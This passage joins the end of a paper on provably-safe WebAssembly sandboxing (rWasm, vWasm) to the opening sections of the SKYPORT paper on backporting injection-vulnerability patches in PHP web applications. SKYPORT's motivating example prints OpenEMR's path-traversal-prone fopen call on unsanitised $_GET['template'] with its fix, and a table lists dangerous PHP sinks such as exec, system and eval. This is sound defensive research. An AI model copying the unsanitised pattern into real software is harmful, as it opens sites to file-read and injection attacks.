supports all architectures supported by the Rust compiler;
thus, support for new architectures comes to rWasm “for free”
from the broader Rust community. Similarly, performance
of the overall compiler automatically improves as rustc’s
performance is improved, without any changes needed to
rWasm’s code itself. Additionally, new domain-specific op-
timizations, new Wasm instructions, control flow constructs,
ways to access memory, etc. could be added to rWasm with
little effort, as seen by the ease of the initial implementation.

Static Property Extensibility Provable safety is an impor-
tant property of a verified sandboxing compiler, but one might
wish to prove other properties, such as traditional compiler
correctness. Here, vWasm has the upper hand, as this is fea-
sible to do in F*, and we have even structured the compiler
to make such proofs possible. In contrast, proving correct-
ness for rWasm would be a challenging task, since one would
need to formally model the Rust language, show that rWasm
preserves Wasm semantics in compiling to Rust, and then
implement a semantics-preserving Rust compiler (or prove
rustc as semantics-preserving). The nature of the provable
sandboxing property is what puts it into the sweet spot where
we obtain it “for free” when compiling to Rust, and we be-
lieve there may be other such properties where one can obtain
provable guarantees in a similar fashion. However, all these
properties are a strict subset of what might be proven for an
implementation like vWasm, which is built in a full-blown
verification-oriented language.

Run-Time Extensibility As discussed in Section 5.5,
rWasm supports conveniently adding runtime tracers, or In-
line Reference Monitors (IRMs). It does so by leveraging its
emulation of Wasm in a high-level language (Rust) to suc-
cinctly inspect and modify the program’s state. In contrast,
implementing these for vWasm would require a significant
re-architecture of the compiler, which follows a traditional
compiler pipeline oriented towards progressively lowering
Wasm towards machine code. Thus, run-time behavior of
a Wasm module can be better observed, analyzed, and con-
trolled when compiled via rWasm.
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7 Related Work

Virtualization-based Isolation Hypervisors and VMMs
can provide strong sandboxing, such as with the Hypervisor-
Protected Code Integrity (HVCI) [14] option for drivers on
Windows. However, this is heavyweight and usually requires
hardware support. Lighter weight than this, most operating
systems guarantee strong isolation between processes, and
some even provide OS-level virtualization, used by container
frameworks such as Docker [6] and LXC [25]. This can
still be too expensive due to the overhead of IPC, multiple
privilege-level crossings, cache flushes, etc. Instead, SFI
provides sandboxing that is intra-process, costing little more
than a function call. To use a sandboxed module, a developer
simply links against it, easing deployment.

Language-based Isolation Some programming languages
have VMs that can provide isolation guarantees (e.g., V8
for JavaScript, JVM for Java, and CLR for .NET). However,
these must trust the complex implementation of the language’s
VM, and they restrict usage to their particular language. In
contrast, by using Wasm as a narrow waist (Section 2), we
support sandboxing for nearly all popular languages.

Validator-based SFI Software Fault Isolation (SFI) [41]
is a popular technique for providing language-agnostic,
lightweight, and safe software sandboxing. Traditionally, SFI
solutions have an untrusted component that introduces the
checks, and a trusted validator that confirms that the checks
are sufficient before execution. On the Web, NaCl [52] uses
this approach, and RockSalt [29] even provides a formally
verified validator. They rely, however, on a custom com-
piler toolchain to make the emitted code easier to validate.
In contrast, VeriWasm [17] is a formally verified validator
that confirms checks produced by an uncustomized compiler,
Lucet [1], which further optimizes code after inserting SFI
checks. To do this without false positives, VeriWasm uses
features of Wasm, as well as implementation choices specific
to Lucet. This is quite challenging to do without rejecting
legitimate programs or suffering soundness issues (e.g., CVE-
2021-32629), due to Rice’s theorem [36]. Instead, our ap-
proaches guarantee sandbox safety by construction. Addition-
ally, while validator-based approaches like NaCl, RockSalt
and VeriWasm are necessarily architecture dependent, rWasm
provides architecture-agnostic provable sandboxing. Finally,
while most previous SFI solutions use a fixed-size sandbox for
performance, rWasm attains high performance without reserv-
ing a large, fixed-sized chunk of memory (see Section 5.4),
making it feasible to use even in embedded environments.

Compilation-based SFI Kroll et al. [21] present a tech-
nique for Portable SFI (PSFI) that is architecture-agnostic,
with performance comparable to GCC [10] with no optimiza-

tions enabled. PSFI works on Cminor, an intermediate lan-
guage of CompCert [24] (which compiles from C), and works
by composing a program transformer with the verified back-
end of CompCert. Our compilers instead are multi-lingual
since they support any language that can be compiled to Wasm
(Section 2.3). In theory, PSFI could also be extended to of-
fer multi-lingual support by writing translators from other
languages to Cminor.

Additionally, rWasm obtains competitive performance
with unverified performance-optimized implementations (Sec-
tion 6.1). Due to Rust’s collection of supported target archi-
tectures, rWasm can also target more architectures with no
additional effort.

WebAssembly Multiple compelling use cases have been
shown for using Wasm as a sandboxing primitive.
RLBox [30] provides a framework for retrofitting isolation
of third-party libraries in complex pre-existing software like
Firefox; eWASM [32] provides a framework for SFI using
Wasm on embedded systems with resource constraints; and
Sledge [9] enables low-latency serverless compute on the
edge via Wasm. Employing our techniques for provably-safe
sandboxing within these framework would provide greater
assurance of their safety.

Given Wasm’s growing prevalence, it is important to iden-
tify its performance bottlenecks compared to running purely
native code. Jangda et al. [16] perform a large-scale evalua-
tion of browser Wasm runtimes, which helps identify causes
for these bottlenecks, some inherent to Wasm, and others due
to implementation deficiencies. These highlight opportunities
that vWasm could take to improve performance.

Recent work by Lehmann et al. [23] shows that classic
vulnerabilities such as simple stack buffer overflows, unex-
ploitable in native binaries due to common mitigations, be-
come exploitable again inside Wasm modules. This however
does not impact sandboxing runtimes for Wasm such as ours,
as any exploit will only corrupt the program state within the
sandbox. The environment is left unaffected, modulo calls
via the trusted interface offered explicitly by the environment.

Proposed extensions to Wasm, such as MS-Wasm [5] (for
memory safety), can help capture critical high-level informa-
tion about the program being compiled Wasm. Other exten-
sions like CT-Wasm [35] (for constant-time cryptography)
help capture high-level invariants that one wishes to maintain.
These extensions are orthogonal to the goals of sandboxing,
and can help provide even stronger guarantees of safety and
correctness to the native code execution.

8 Conclusions

In this work, we have explored two concrete points in the
design space for implementing a sandboxing execution en-
vironment, with a focus on WebAssembly. We proposed
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designs for these two points, implemented them as open-
source tools, vWasm and rWasm, and evaluated them on a
collection of both quantitative and qualitative metrics. We
show that run-time performance and provable safety are not
in conflict, and indeed rWasm is the first Wasm runtime that
is both provably-sandboxed and fast.
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Abstract
Web vulnerabilities, especially injection-related ones, are

popular among web application frameworks (such as Word-

Press and Piwigo), which can lead to severe consequences

like user information leak and server-side malware execution.

One major practice of fixing web vulnerabilities on real-

world websites is to apply security patches from the official

developers of web frameworks. However, such a practice is

challenging because security patches are developed for the

latest version of a web framework, but real-world websites

often run an old version due to legacy reasons. A direct

application of security patches on the old version often fails

because web frameworks, especially the code around the

vulnerable location, may change between versions.

In this paper, we design a security patch backporting frame-

work and implement a prototype on injection vulnerability

patches, called SKYPORT. SKYPORT first identifies safely-

backportable patches of injection vulnerabilities and web

framework versions in theory and then backports patches to

corresponding old versions. In the evaluation, SKYPORT iden-

tifies 98 out of 155 security patches targeting legacy injection

vulnerabilities, which can be backported to 750 old versions

of web application frameworks. Then, SKYPORT successfully

backported all of the aforementioned backportable patches to

corresponding old versions to correctly fix vulnerabilities. We

believe that this is a first-step towards this important research

problem and hope our research can draw further attention

from the research community in backporting security patches

to fix unpatched vulnerabilities in general beyond injection-

related ones.

1 Introduction
Patching is a common practice to apply software code

differences between two versions for an update. While

patching continues to be the major tactics of fixing web appli-

cation vulnerabilities, the major challenge in the real-world

is practical deployment. For example, after three months

since the patch release of CVE-2018-7600, an arbitrary code

execution vulnerability of Drupal, researchers still found

that around 115,000 websites were unpatched, making them

vulnerable to any attackers on the web [2].

The reasons for leaving vulnerable websites unpatched are

complicated. Putting aside these human-related issues, one

major problem is that the patch cannot be directly applied

to vulnerable websites due to a web application version

mismatch. Specifically, web application developers, in most

cases, just come up with a patch for the latest application

version, but website maintainers often run an old version

due to legacy reasons, e.g., the application does not have

an automated update interface or the website has some

customized code tailored made for the old version. Therefore,

one practical problem facing the website maintainer is

to apply the patch targeting the latest version upon their

own website in an old version. According to several prior

studies [65, 66], they are often reluctant of doing so due to

lacking technical experience and being afraid of breaking

website functionalities.

Backporting security patches. The practical issue on

cross-version patch deployment can be formalized as a

research problem, i.e., how to backport a given security

patch for a particular vulnerability to a target, old version

of the web application, or for short, we call it security patch
backporting. The general goals of security patch backporting

are to maintain two important properties of web application:

(i) security, i.e., defending against the vulnerability-related

attacks, and (ii) backward compatibility, i.e., incurring no

functionality issues.

Although the security patch backporting problem is impor-

tant, surprisingly there is not much work in the literature

to solve the problem. Specifically, there is a patent [51]

on bug patch backporting, but it can only fix earlier bugs

if no patching conflicts exist. A Ph.D. dissertation [69]

from Singapore Management University discusses patch

backporting, but the process is still largely manual and without

security or functionality guarantees.

While the specific problem to backport security patches

is not thoroughly studied in the past, people have studied

the general problem of vulnerability detection and patch-
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ing. Based on our study, none of them can be used to

backport security patches. One popular research direction

is the detection of zero-day security vulnerabilities via code

similarity [34,37,44,45]. For example, existing works propose

patch-enhanced vulnerability detection [74], but they cannot

pinpoint the accurate vulnerability location for patching let

alone ensure the security and functionality of backporting.

Another research direction is automatic fixes of existing

vulnerabilities [26,27,31,36,43,47,48,73]. For example, many

researches can automatically generate patches given exploit

code [31] or many normal test cases [36, 48, 73], which may

not exist for the backporting problem. For another example,

hot-patching frameworks [18,19,56] aim to apply the patching

semantics to the vulnerable code without requiring users

to explicitly updating their software, while the backporting

problem does not assume the existence of a patch for an old

version.

Let us describe what a security patch is and why back-

porting is feasible for many old versions of web applications.

Intuitively, a security patch is to update the vulnerable logic

for given inputs in a web application with a safe logic. Then,

backporting is possible because the same vulnerable logic

may also exist in a target old version of the web application.

Therefore, we can apply the safe logic from the security patch

to the old version and replace the vulnerable logic.

While security patch backporting is intuitively simple, the

challenges come from two aspects, the patch, and the target

old version. On one hand, the patch may not just update the

vulnerable logic but also introduce other new functionalities,

e.g., adding new inputs. Such new functionalities may not

work on the target old version, leading to compatibility issues.

More importantly, they also bring difficulties in pinpointing

the exact code location for applying the patch on the target old

version. On the other hand, the target version may not contain

exactly the same vulnerable logic as the patch aims to fix. For

example, although the target version is also vulnerable, some

later versions added new inputs to the vulnerable logic and

thus the safe logic provided by the patch is not applicable to

the target version.

In this paper, we propose two novel concepts, called a

safely-backportable patch (SBP) and a safely-backportable
version (SBV), to tackle the aforementioned two challenges.

An SBP is a newly-generated patch that only contains safe,

deterministically-computable safe logics extracted from the

original patch to replace the vulnerable logics; and an SBV is

a special target version that has the same vulnerable logics

targeted by the SBP. The combination of SBP and SBV achieves

the backporting goals of security and backward compatibility,

because an SBP removes vulnerability-unrelated fixes and an

SBV ensures that the vulnerable logic in the target is either

exactly the same as the one targeted by the original patch.

Specifically, our proposed backporting with SBP and SBV is

a three-pronged approach. First, it determines whether the

original patch is backportable and then generates an SBP

from the post-patch version with the original patch. Second,

it checks the target version and ensures that the version is an

SBV. Lastly, it pinpoints the vulnerability location in the target

version and applies the SBP.

SKYPORT: Injection vulnerability patch backporting
framework. While the three-pronged backporting is intuitive

and effective, the major challenge is how to represent

both the safe and vulnerable logic of a web application

in a formal, comparable way. Fortunately, a popular type

of web application vulnerabilities, i.e., injection-related

ones, has one explicitly-defined dangerous function called

the sink, such as echo for cross-site scripting (XSS) and

move_uploaded_file for arbitrary file upload. More

importantly, the same sink function usually exists in all three

related versions, i.e., pre-patch, post-patch, and target. This

practical observation enables our design of SKYPORT, a

general framework to automate security patch backporting

for injection vulnerabilities in legacy web applications.

Given this practical observation, SKYPORT represents the

safe and vulnerable logic of web applications as a concept

called sink capability. Specifically, a sink capability is a

set of pairs that represents all possible data-flows to the

vulnerable parameter of the sink function. The first item of

a pair is a symbolic expression of one data-flow to the sink

function parameter and the second item is the control-flow

constraint set of the data-flow. The major advantage of this

representation of vulnerable and safe logic as a sink capability

is an easy comparison among different versions.

We implemented a prototype of SKYPORT and evaluated

it using 155 patches against real-world CVEs from ten CMS.

SKYPORT successfully verifies that 111 original patches can

be exported to SBPs and that 750 versions are SBVs, which

map back to 98 out of 111 SBPs. Then, SKYPORT successfully

applies all 98 SBPs on 750 SBVs with backward compatibility

and minor performance overhead. As a comparison, we find

that the original patches can only be applied on 455 target

versions directly without any code conflict. Furthermore, only

39 versions can be fixed by upgrading the website using the

official upgrade API with PHP requirement guarantee. These

results clearly demonstrate the benefits of SKYPORT.

In all, this paper makes the following major contributions.

• We propose safely backportable patch as a new perspective

to deploy security patches on web applications. Our solution

supports patching across multiple versions, provides the

strong guarantee of security and functionality, and requires

minimal deployment efforts.

• We design SKYPORT, which can verify whether a security

patch can be transformed to an SBP and whether it can be

applied to a given version, called SBV.

• We evaluate SKYPORT with 155 real-world vulnerabilities,

and generates 98 SBPs that can be applied to 750 SBVs. The

results show that SBPs effectively prevents vulnerability

exploitation with minor performance overhead and does not

affect the normal execution.

1994    31st USENIX Security Symposium USENIX Association



b) Safely Backportable Patch for CVE-2018-10572 (OpenEMR)

a) Official Patch for CVE-2018-10572 on OpenEMR 5.0.0.6

c) Deployed Safely Backportable Patch on OpenEMR 5.0.0.5

function convert_safe_file_dir_name($label){
    return preg_replace('/[^A-Za-z0-9_.-]/', '_', $label);
}

function safe_fopen($bp_globals_oe_site_dir, $bp_get_template){
    $template_dir = $bp_globals_oe_site_dir . "/letter_templates";
    return fopen("$template_dir/" .
               convert_safe_file_dir_name($bp_get_template), 'r');
}

    <?php
+  $bp_get_template = $_GET['template'];
+  $bp_globals_oe_site_dir = $GLOBALS['OE_SITE_DIR'];
    $sanitize_all_escapes  = true;
    $fake_register_globals = false;

    include_once("../globals.php");
    include_once($GLOBALS['srcdir'] . "/patient.inc");
    $template_dir = $GLOBALS['OE_SITE_DIR'] . "/letter_templates";
    ...
    $fh = fopen("$template_dir/".$_GET['template'], 'r');
+  $fh = safe_fopen($bp_globals_oe_site_dir, $bp_get_template);
    ...
    ?>

1
2
3
4
5
6
7
8
9

10
11
12

13
14

   <?php
+  require_once("../globals.php");
+  require_once($GLOBALS['srcdir'] . "/patient.inc");

    use OpenEMR\Core\Header;

   include_once("../globals.php");
   include_once($GLOBALS['srcdir'] . "/patient.inc");

    $template_dir = $GLOBALS['OE_SITE_DIR'] . "/letter_templates";
    ...
   $fh = fopen("$template_dir/".$_GET['template'], 'r');
+  $fh = fopen("$template_dir/" .    
                         convert_safe_file_dir_name($_GET['template']), 'r');
    ...
    ?>

1
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4
5
6
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8
9

10
11
12
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14
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-
-

-
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Figure 1: Motivating Example of Patching CVE-2018-10572.

2 Overview
In this section, we first illustrate a motivating example and

then describe the threat model of SKYPORT.

2.1 A Motivating Example

Figure 1 (a) shows an arbitrary file read vulnerability (CVE-

2018-10572) in OpenEMR before version 5.0.1 [5] and

its original patch is shown as the diff format. Line 11 is

the vulnerable location, which reads a file with user inputs

$_GET[‘template’] without sanitization and Line 12 is the

key patched code of the vulnerability by sanitizing the user

input. Note that the developer only fixes the latest version

but not prior ones. Here we explain why it is challenging to

backport this security patch. First, the patch not only contains

the code to fix the vulnerability (i.e., Line 12) but also other

vulnerability-irrelevant code (i.e., the addition of Lines 2 and 3

Table 1: Dataset for CVEs with their vulnerability types.

Vulnerability Type # of CVEs
Server-Side XSS 96

SQL Injection 21

Arbitrary File Read/Write/Delete/Include 14

Command/Code Injection 7

Open Redirect 4

Directory Traversal 4

Executable File Upload 4

Server-Side Request Forgery (SSRF) 4

PHP Object Injection 1

Total 155

and the deletion of Lines 7 and 8), which may bring backward

compatibility issues. Second, it is challenging to apply the

patch to a target version 5.0.0.5 as shown in Figure 1 (c),

because Line 5 in Figure 1 (a) for pinpointing the patch

location has not been introduced in the target version.

Next, we describe how SKYPORT backports the patch

from OpenEMR 5.0.0.6 to 5.0.0.5. First, SKYPORT gen-

erates a safely-backportable patch (SBP) as shown in Fig-

ure 1 (b), which contains the entire safe logic including the

convert_safe_file_dir_name() function and removes

vulnerability-irrelevant code. Second, SKYPORT checks that

the version 5.0.0.5 is a safely-backportable version (SBV)

because the vulnerable logics of both versions, i.e., those

represented as sink capabilities at Line 11 of Figure 1 (a) and

(c), are the same. Lastly, SKYPORT applies the generated SBP
to SBV in Figure 1 (c) by adding two backup code (Lines 2

and 3) and replacing Line 11 with Line 12.

2.2 Threat Model

In this subsection, we describe the threat model of SKYPORT.

SKYPORT assumes that the victim is a website running

an old-version web application without a targeted patch

for a vulnerability. The adversary is a normal user of the

web application that sends attack requests to exploit the

vulnerability. Broadly speaking, security patch backporting

could cover any server-side web vulnerabilities. At the same

time, as a pioneer work, we consider injection vulnerabilities
as in-scope, which include the following two factors.

• Sink function. A sink function is a server-side danger-

ous function. Take server-side XSS for example. The

sink function is echo because if its input contains user-

controlled contents and is not sanitized, arbitrary HTML

and JavaScript code may be outputted to the client.

• Critical parameter. A critical parameter is a parameter of

the sink function that may lead to dangerous behavior. The

first and only parameter of echo is a critical parameter.

For a better understanding, we also list all the studied

injection vulnerabilities and the corresponding total number

of historical CVEs in Table 1.
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3 Backporting Security Patches
In this section, we describe how to represent vulnerable logics

of web applications and then the three-pronged backporting.

In each subsection, we first generalize our approach on any

security patches and then narrow them down to injection ones.

3.1 Vulnerable Logic Representation

The vulnerable logic of a web application, from a high level,

can be represented as all the control- and data-flows that

are related to given user inputs. That is, a well-crafted, mali-

cious input may cause execution of the vulnerable program

following specific control- and data-flow paths, leading to a

malicious consequence. Note that the representation of all

control- and data-flow paths for given inputs is a generally

hard problem of static analysis, and that is why we focus on

injection vulnerabilities as a start of backporting.

3.1.1 Vulnerable Logic for Injection Vulnerabilities

In this part, we describe vulnerable logic representation for

injection vulnerabilities. Because injection vulnerabilities

have a sink and its corresponding critical parameter, all the

control-flows related to the vulnerable logic end up with the

sink and all the data-flows end up with the critical parameter.

If we call all control-flow paths leading to the sink function as

sink flows and represent them as ( f low1, f low2, ...), we can

simplify the general vulnerable logic representation with the

following two definitions for a given sink flow f lowk.

• Reaching condition (RC). A RCf lowk is a set of all the

control-flow conditions involved in a f lowk.

• Data-flow expression (DE). A DE f lowk is a symbolic

expression of the critical parameter involved in a f lowk.

Then, we put all RCs and DEs of different sink flows

together and define the union set ( {< RCf low1
,DE f low1

>, <
RCf low2

,DE f low2
>,...}) as a sink capability, which represents

the vulnerable logic of an injection vulnerability.

Let us consider a simple code snippet below as an example

in illustrating sink capability.

if ($condition) $value = $input1 else $value = $input2
sink_func($value + 1)

There are two sink flows: one from the i f branch

( f low1) and the other the else branch ( f low2). RCf low1
is

{$condition} and DE f low1
is $input1 + 1; and RCf low2

is

{!$condition} and DE f low2
is $input2 + 1. Then, we can

come up with the sink capability based on all the RCs and

DEs, which is an efficient, easy-to-compare representation of

vulnerable logic.

3.2 Three-pronged Backporting

In this subsection, we describe our three-pronged backporting

approach. We start from two novel concepts, SBP and SBV.

• A Safely Backportable Patch (SBP) is a patch that con-

tains the entire, deterministically-computable safe logic

by restricting the original vulnerable logic without adding

new functionalities. We denote the property of SBP as

PSBP, which ensures backward compatibility of the web

application with backported patches.

• A Safely Backportable Version (SBV) is a target old version

that contains exactly the same vulnerable logic as the

original official patch is targeting. We denote the property

of SBV as PSBV , which ensures the security of the web

application with backported patches.

Now, let us focus on injection vulnerabilities and describe

how to use sink capability to check both PSBP and PSBV in

our three-pronged approach. We have three versions here: a

pre-patch (pre), a post-patch(post), and a target old (target).

Step I: SBP Verification and Generation. In this step, we need

to check whether the original, official patch is backportable

and convert it into an SBP. Specifically, we check the follow-

ing sub-properties based on sink capability.

• PSBP-a: RCpost
f lowk

is a subset of RCpre
f lowk

for every f lowk. This

property prevents SBPs from introducing unknown control-

flows to the post-patch version, because it may break the

functionality of the target version.

• PSBP-b: {x | x = DE post
f lowk

} is a subset of {x | x = DE pre
f lowk

}
for every f lowk. This property prevents SBPs from intro-

ducing unknown data expressions to the post-patch version,

because it may also break the functionality of the target

version.

• PSBP-c: Both RCpost
f lowk

and DE post
f lowk

are deterministically
computable for every f lowk. This property ensures the

functionality of the target version when SBP includes the

entire safe logics in recomputing all RC and DE. In other

words, this property excludes functions that may return

non-deterministic values. e.g. time() and rand().

These three sub-properties guarantee that the deployment

of the an SBP does not affect the normal functionality of the

target application, because it does not introduce new inputs

to the sink function.

Step II: SBV Verification. In this step, we check whether the

target version is an SBV using the following sub-properties

based on sink capability.

• PSBV -a: RCpre
f lowk

is the same as RCtarget
f lowk

for every f lowk.
This property ensures that there are no additional vulnerable

control-flows in the target version.

• PSBV -b: DE pre
f lowk

is the same as DEtarget
f lowk

for every f lowk.
This property ensures that there are no additional vulnerable

data expressions in the target version.

These two sub-properties guarantee the security when

applying an SBP upon an SBV, because the vulnerable logics

between two versions are exactly the same.

Step III: Patch Deployment. This step is to automatically

deploy SBP upon SBV for backporting. Although this is hard

for general web vulnerabilities, the deployment for injected

vulnerabilities boils down to pinpoint the target vulnerable

sink function based on sink capability matching.
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Figure 2: Workflow of SKYPORT. � patch affection analysis locates the affected sink functions by an official path and then sink
capability extraction generates their sink capabilities. Next, SBP analysis determines whether the sink functions are backportable

and generates SBP. � SKYPORT locates the sink functions of a target version and generates sink capabilities. Then, SBV analysis
checks whether it is an SBV. � Patch deployment patches the SBV with the generated SBP.

4 SKYPORT Design
In this section, we present the design of SKYPORT in

Figure 2 with three steps clearly separated and described. The

detailed design of SKYPORT is based on the code property

graph [12] (CPG). Now, instead of describing the three steps

of SKYPORT, we organize the section via four important

components of SKYPORT, which sometimes span across

multiple steps with different inputs and outputs. Here is a

brief overview of these components:

• Patch Affection Analysis extracts sink functions that are

affected by the official patch from the pre-patch version,

i.e., those vulnerable ones that might be fixed by the patch.

• Sink Capability Extraction accepts a list of sink functions

and a given version of the web application, performs

symbolic tracking, and outputs sink capabilities (i.e., reach-

ing conditions and data-flow expressions) for all the sink

functions.

• Backportable Analysis checks SBPs and SBVs based on sink

capabilities and generates SBPs if the check passes.

• Patch Deployment applies SBP upon SBV and fixes the

vulnerability on the target old version.

4.1 Patch Affection Analysis

The purpose here is to extract sink functions affected by the

official patch, thus being candidates for belonging to the target

vulnerability of the patch. The key here is a forward taint

analysis that starts from patch changes, extracts patch-affected

code, and then identifies affected sink functions. We describe

the analysis via two steps.

First, SKYPORT performs forward taint analysis from the

patch changes and iteratively locates the affected lines via

querying the program dependency graph (PDG) with affected

variables in affected lines. The analysis includes three types

of statements that may affect the reaching condition or the

data-flow expression of a sink function and excludes other

unrelated statements. Specifically, these three types of state-

ments include assignment (affecting data-flow expression),

conditional (affecting reaching condition), and exit (affecting

reaching condition).

Second, SKYPORT identifies sink functions from the

affected lines extracted from the previous step. Specifically,

the identification is based on a human-created map (as

shown in Table 2) between sink functions and vulnerability

types, e.g., fopen() vs. arbitrary file read. It is worth noting

that some sink functions may be defined or customized

by a developer. In such cases, SKYPORT performs code

reachability analysis to finds the final sink function. Besides,

due to the conservativeness of static analysis, SKYPORT may

have false positives in extracting sink functions. Fortunately,

these false positives can be removed in the following steps

because they have the same sink capability in the pre-patch

version and the post-patch version.

4.2 Sink Capability Extraction

Sink Capability Extraction accepts a list of sink functions

and a given version of web application, and extracts the sink

capability (SC) of the given version for all the provided sink

functions. Specifically, SKYPORT collects all the control-flow

paths to the sink function, calculates the sink’s Reaching

Conditions (RC) and Data-flow Expressions (DE) along each

path via symbolic tracking, and then unions them as SC.

Let us describe these steps in details. First, SKYPORT

performs forward path exploration to follow all control-flow

edges from either an entry point or a caller function until a

provided sink function. During the exploration, SKYPORT

also checks whether there exists an exit statement, such as

die(), and stops the exploration. If SKYPORT encounters a

loop, it unrolls loop once to avoid path explosion. Second,
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SKYPORT calculates both RC and DE via symbolic tracking

upon Tree Address Code (TAC) formulas. Specifically,

SKYPORT first collects all the RC and DE, and identifies three

types of symbolic variables, which are global variables, sink

function caller’s parameters, and external variables defined in

other PHP files for the calculation. Lastly, SKYPORT union

RC and DE for all the control-flow paths of a sink function

as the SC for the sink function.

4.3 Backportable Analysis

In this subsection, we first describe three building blocks of

the backportable analysis of SKYPORT and then present how

to perform SBP and SBV analysis using these building blocks.

4.3.1 Building Blocks of Backportable Analysis

The key of backportable analysis is to compare different

SCs of different sink functions belonging to web application

versions and ensure their determinism. That is, naturally we

have two building blocks, one for SC comparison and one for

determinism.

Sink Capability Analysis In this part, we describe one

building block, i.e., our sink capability analysis. We first

present the analysis of reaching condition and data-flow

expression and then the combination of these two in sink

capability analysis.

• Reaching Condition (RC) Analysis. We model RC of a

given sink function as Equation 1.

RCsink = RCf low1
∨RCf low2

∨ ...∨RCf lown (1)

where f lowi is a control-flow path leading to the sink,

RCf lowi is the logic and operation of all the conditions along

f lowi, i.e., RCf lowi =C1 ∧ ...∧Ck, and Ck is one condition

along f lowi. Then, the Reaching Condition Analysis boils

down to Boolean Algebra and the check of whether a certain

condition holds. For example, the equivalence of two RC is

a check of RCa = RCb, and whether RCa is a subset of RCb
equals to a check of RCa = RCa ∧RCb.

• Data-flow Expression (DE) Analysis. SKYPORT performs

a conservative Data-flow Expression Analysis by checking

whether common sanitization functions, such as trim()
and intval(), exist between two DEs. If yes, SKYPORT

considers one DE is a subset of another. We understand that

it may bring false negatives, but in practice this is very rare.

Now we describe how SKYPORT compares SCs using RC
and DE analysis. Say there exists two SCs, i.e., SCa and

SCb. SKYPORT first performs RC analysis by comparing

each RC of a sink flow in SCa with all RCs in SCb and

finding exact matches. If an exact match cannot be found

for a RCi in SCa, SKYPORT finds a RC in SCb that is a

subset of RCi. After SKYPORT finds matches for all RCs in

SCa and SCb, SKYPORT performs DE analysis to determine

whether corresponding DEs of matched RCs have a subset

relationship.

Expression Re-computable Analysis. In this part, we

describe the other building block, i.e., Expression Re-

computable Analysis. SKYPORT determines whether all

data-flow expressions in the sink capability are the same

if being recomputed again. The reason for this analysis is

that SKYPORT includes the entire safe logic in SBP, which

recomputes the safe logic from user inputs. Specifically,

SKYPORT checks whether DEs contain four types of

non-deterministic operations, which are network-related

operations (e.g., curl_exec()) , database manipulation

operations (e.g., mysql_query(), pg_query()), file

operations (e.g., fwrite(), unlink()) and operations that

return dynamic values (e.g., time(), rand()). If none of

the operations exists, SKYPORT considers the target DE as

re-computable.

4.3.2 SBP and SBV Analysis

In this part, we describe how to perform SBP and SBV analysis

using the two building blocks described in §4.3.1.

SBP Analysis. The purpose of SBP analysis is to check

whether the original patch is backportable and then generate

an SBP if so. First, SKYPORT compares the sink capabilities

of those output by Patch Affection Analysis between pre-

patch and post-patch versions (i.e., SCpre and SCpost ). If SCpost
is a subset of SCpre as determined by the Sink Capability

Analysis, i.e, satisfying both PSBP-a and PSBP-b, SKYPORT

considers it as a candidate. Second, SKYPORT performs

Expression Re-computable Analysis to ensure that data-flow

expressions in all sink capabilities are deterministic, i.e.,

satisfying PSBP-c. If so, SKYPORT determines that the original

patch is backportable.

Next, SKYPORT generates a safe sink function (e.g.,

safe_fopen() in Figure 1 (c)) and replaces the original

sink as the SBP. The safe sink function includes all the sink

flow paths in SCpost into a safe-sink function and recomputes

the critical parameter(s) for each sink flow. If some reaching

conditions are filtered in the original official patch, SKYPORT

uses a die() function to directly abort the execution in SBP.

One thing worth noting here is the handling of loop because a

loop is only unrolled once during Sink Capability Extraction.

That is, SKYPORT does not recover the original loop structure

when generating SBP. Our high-level idea is to recalculate the

sink capability of the post-patched version by encapsulating

the loops as functions (sink irrelevant statements are not

included) and use the recalculated SCpost for SBP generation.

Specifically, there are three cases based on whether patch

modification lines (called patch below for short) and a target

sink are inside or outside a loop:

• Patch [inside] and Sink [inside]. SKYPORT treats the loop

block as a function and calculates SC inside the function.

• Patch [outside] and Sink [inside]. SKYPORT treats the loop

block as the sink function and replaces the original sink in

calculating SC.
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• Patch [inside/outside] and Sink [outside]. SKYPORT

encapsulates the loop as a function to calculate SC.

SBV Analysis. The purpose of SBV analysis is to check

whether a given target old version is backportable. First,

SKYPORT locates the sink functions at the target version

according to their function and file names, and generates sink

capabilities for them. Second, SKYPORT compares the sink

capabilities of all the sink functions of the pre-patch and target

versions using the Sink Capability Analysis. Specifically, if

every sink function has a match in two versions and SCpre
and SCtarget are exactly the same, i.e., satisfying both PSBV -
a and PSBV -b, SKYPORT considers this target version as

backportable and outputs this version as SBV.

4.4 Patch Deployment

Patch Deployment applies an SBP upon an SBV by a direct

modification upon the web application source code. There

are two steps. First, SKYPORT replaces the sink function

with the generated safe sink function at a target version.

There are two types of replacement: (i) function replacement

and (ii) parameter replacement. Function replacement is the

default, which replaces the sink function with a new, safe

function; Parameter replacement is an alternative to function

replace when the sink function cannot be replaced, e.g., being

a PHP keywords like include and return. If so, SKYPORT

replaces the critical parameter with a safe function, e.g.,

include safe_include(). Note that SKYPORT will check

name conflicts to avoid function names being used by the web

application.

Second, SKYPORT backups variables related to the sink

function, i.e., particularly global variables, sink function

caller’s parameters, and external variables, at the beginning of

the vulnerable code and then uses them in the generated safe

sink function. Consider our motivating example in Figure 1

again. SKYPORT backups both $_GET[‘template’] and

$GLOBALS[‘OE_SITE_DIR’]s at the beginning of the PHP

file, i.e., Lines 2 and 3 in Figure 1 (b), and then uses them in

the safe sink function.

5 Implementation and Dataset
In this section, we first describe our prototype implementation

and then present the datasets for patch backporting.

5.1 Prototype Implementation

We implemented a prototype of SKYPORT for PHP applica-

tions. Our patch affection analysis module and sink capability
extraction module are based on PHPJoern [12] and Neo4j [4].

Table 2 shows the mapping between vulnerability type and

sink function used in the patch affection analysis. Our patch
deployment implementation relies on the source code and

CPG mapping provided by PHPJoern so that SKYPORT

can locate the exact line number of source code based on

CPG node. Note that because the current implementation of

PHPJoern does not resolve the targets for dynamic calls with

Table 2: Mapping between Vulnerability Types and Sink

Functions.

Vulnerability Type Potential Sink Function

Server-Side XSS echo, print, print_r

SQL Injection

pg_query, pg_send_query, pg_prepare,

mysql_query, mysqli_prepare, mysqli_query,

mysqli_real_query

Arbitrary File Read file, file_get_contents, readfile, fopen

Arbitrary File Write file_put_contents, fopen, fwrite

Arbitrary File Delete unlink, rmdir

Arbitrary File Include include, include_once, require, require_once

Command Injection
exec, passthru, proc_open, system, shell_exec,

popen, pcntl_exec

Code Injection
fopen, file_get_contents, fwrite, fputs,

eval, create_function, assert, array_map

Directory Traversal fopen, dir, dirname, opendir, scandir

Executable File Upload copy, fopen, move_uploaded_file, rename

SSRF curl_exec, file_get_contents, fsockopen

Open Redirect header

PHP Object Injection unserialize

non-unique function names, we implemented a class hierarchy

analysis [29,33,78] to optimize the call graph construction of

